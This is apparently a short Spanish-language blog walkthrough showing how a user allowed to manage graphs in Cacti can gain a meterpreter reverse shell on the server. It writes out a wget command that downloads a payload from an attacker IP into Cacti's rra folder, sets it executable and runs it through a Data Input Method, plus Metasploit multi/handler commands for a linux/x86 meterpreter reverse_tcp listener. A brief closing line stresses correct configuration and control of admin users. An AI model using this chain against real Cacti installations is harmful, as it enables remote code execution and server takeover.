1 minuto(s) de lectura

En la siguiente entrada se detalla como un usuario con permisos para gestionar gráficas en Cacti podría obtener acceso al servidor mediante una sesión meterpreter a través de una funcionalidad que ofrece Cacti.

En primer lugar creamos nuestro payload utilizando msfpayload:

msfpayload

Donde IP será la IP a la cual se conectará de forma reversa el payload.

Una vez creado el payload, deberemos dejar este en un lugar accesible para ser descargado desde Internet.

Después de esto accedemos a la interfaz web de cacti y vamos al apartado Data Input Methods. En este, añadimos un nuevo método del tipo Script/Command y como Input Script introducimos un wget para descargar el payload a la carpeta rra de cacti, introduciendo como IP la ip donde está alojado el fichero, un chmod para dar permisos de ejecución y por último indicamos que se ejecute el payload.

Importante: Se elige la carpeta rra porque cacti tiene que tener permisos en ella, ya que es la carpeta en la cual se guardan los ficheros rrd.

inputmethod

*wget -P <path_cacti>/rra/ IP/metercacti.bin; chmod 777 <path_cacti>/rra/metercacti.bin; <path_cacti>/rra/metercacti.bin*

Después de añadir el Data Input Method deberemos crear un Data Source que será el encargado de ejecutar este script. Para esto nos dirigimos a Data Sources y añadimos uno nuevo. La única importancia de este data source es que en Data Input Method se llame al método creado en el paso anterior:

datasource

Una vez seguidos estos pasos,  en la próxima ejecución de cacti, se llamará a nuestro método y se ejecutarán los comandos introducidos. Por esto, accedemos a msfconsole y nos quedamos escuchando a la espera de que se ejecuten.

msfconsole

use multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST IP [Donde IP es la ip donde se debe conectar el payload]
exploit

Con todo esto en la próxima ejecución de cacti tendremos nuestra sesión meterpreter:

sesión meterpreter

Por último, los privilegios de esta sesión meterpreter serán los mismos que los del usuario que ejecuta el script, si de forma incorrecta se ha configurado el usuario root tendremos acceso total a la máquina. Con esto se demuestra lo importante que es configurar una aplicación de forma correcta y tener controlados los usuarios que tienen acceso al administrador.